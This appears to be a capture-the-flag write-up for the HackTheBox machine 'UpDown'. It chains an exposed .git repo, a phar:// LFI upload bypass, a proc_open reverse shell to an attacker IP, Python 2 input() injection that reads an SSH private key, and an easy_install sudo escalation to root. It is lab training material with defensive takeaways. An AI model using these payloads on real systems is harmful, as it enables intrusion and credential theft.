UpDown - HackTheBox Writeup
Overview
| Field | Detail |
|---|---|
| Name | UpDown |
| OS | Linux (Ubuntu) |
| Difficulty | Medium |
| Platform | HackTheBox |
| Topics | LFI, Phar Wrapper, File Upload, Python2 Input Injection, SUID Abuse |
Attack Path
Reconnaissance
Service Scan
Nmap reveals two open ports — SSH and HTTP.
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods:
|_ Supported Methods: HEAD POST OPTIONS
|_http-title: Is my Website up ?
The HTTP title hints at the site’s purpose. The domain resolves to http://siteisup.htb — add it to /etc/hosts.
Attacking HTTP (Port 80)
Directory Fuzzing
Running feroxbuster uncovers an exposed .git directory:
feroxbuster -w `fzf_wdlists` --dont-extract-links -u 'http://siteisup.htb'
200 GET 0l 0w 0c http://siteisup.htb/dev/
301 GET 9l 28w 315c http://siteisup.htb/dev/.git => http://siteisup.htb/dev/.git/
Git Repository Dump
Using git-dumper to extract the repo, then inspecting git log reveals a new vhost: http://dev.siteisup.htb. Directly visiting it returns 403 Forbidden.
Bypassing the Custom Header
Inside .htaccess, a custom header restriction is enforced. The fix: add Special-Dev: only4dev to all requests via Burp Proxy’s Match and Replace rule.
Source Code Analysis
index.php — LFI
The page parameter is vulnerable to Local File Inclusion. It uses a blacklist approach and only renders files ending in .php. The default page is checker.php.
checker.php — File Upload
- Accepts file uploads, stores them under
/uploads/<md5_hash>/ - Blacklists dangerous PHP extensions
- Blacklists content strings:
file://,ftp://,data:// - Auto-deletes uploaded files after 5 minutes
Exploitation
Attack Chain
Step 1 — Craft the Payload
Create a zip containing a PHP file, then rename it to bypass extension blacklist:
echo '<?php echo "Hello World"; ?>' > hello.php
zip hello.zip hello.php
mv hello.zip hello.jpeg
Step 2 — Upload and Locate
Upload the file, then browse /uploads/ to find its MD5-named directory.
Note: Uploaded files are auto-deleted every 5 minutes. Work fast.
Step 3 — Trigger via Phar Wrapper
http://dev.siteisup.htb/?page=phar://uploads/a807a329197b99783be799cdb81509cb/hello.jpeg/hello
Bypassing Disabled Functions
Native functions like system() are disabled. Feed phpinfo() output to dfunc-bypasser to enumerate allowed functions — proc_open is available.
Reverse Shell via proc_open
<?php
$command = "bash -c 'bash -i >& /dev/tcp/10.10.14.105/443 0>&1'";
$descriptorspec = array(
0 => array('pipe', 'r', 'a'),
1 => array('pipe', 'w', 'a'),
2 => array('pipe', 'w', 'a'),
);
$process = proc_open($command, $descriptorspec, $pipes);
?>
Shell obtained as www-data.
Privilege Escalation
www-data → developer: Python2 input() Injection
A SUID binary siteisup in the developer’s home directory wraps a Python 2 script:
# siteisup_test.py
import requests
url = input("Enter URL here:")
page = requests.get(url)
if page.status_code == 200:
print "Website is up"
else:
print "Website is down"
In Python 2, input() evaluates the input as a Python expression — a classic code injection sink.
Proof of concept:
Enter URL here:__import__("os").system("id")
uid=1002(developer) gid=33(www-data) groups=33(www-data)
Exploit for SSH key extraction:
Enter URL here:__import__("os").system("cat /home/developer/.ssh/id_rsa")
Or drop into a shell by abusing the SUID bit:
Enter URL here:__import__("os").system("bash -p")
developer → root: easy_install via GTFOBins
The developer user has sudo rights on easy_install. This binary is listed on GTFOBins:
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo easy_install $TF
Root shell obtained.
Key Takeaways
- Exposed
.gitdirectories are high-value targets — always fuzz for them. Tools likegit-dumpercan recover full source code and commit history. - Blacklist-based input filtering is fragile. Both the extension check and content check in
checker.phpwere bypassable. Whitelists are far more robust. - PHP wrappers (
phar://) can turn a limited LFI into full RCE when file upload is also present, even without direct PHP extension execution. proc_openis a commonsystem()alternative whendisable_functionsis partially configured — always enumerate with tools likedfunc-bypasser.- Python 2’s
input()is inherently unsafe as it callseval()internally. Python 3 fixed this, but legacy scripts remain a real-world risk. - SUID binaries wrapping interpreted scripts are a dangerous pattern — the interpreter inherits elevated privileges, exposing the entire language’s attack surface.
- GTFOBins is essential — even innocuous-looking sudo permissions (like
easy_install) can lead straight to root.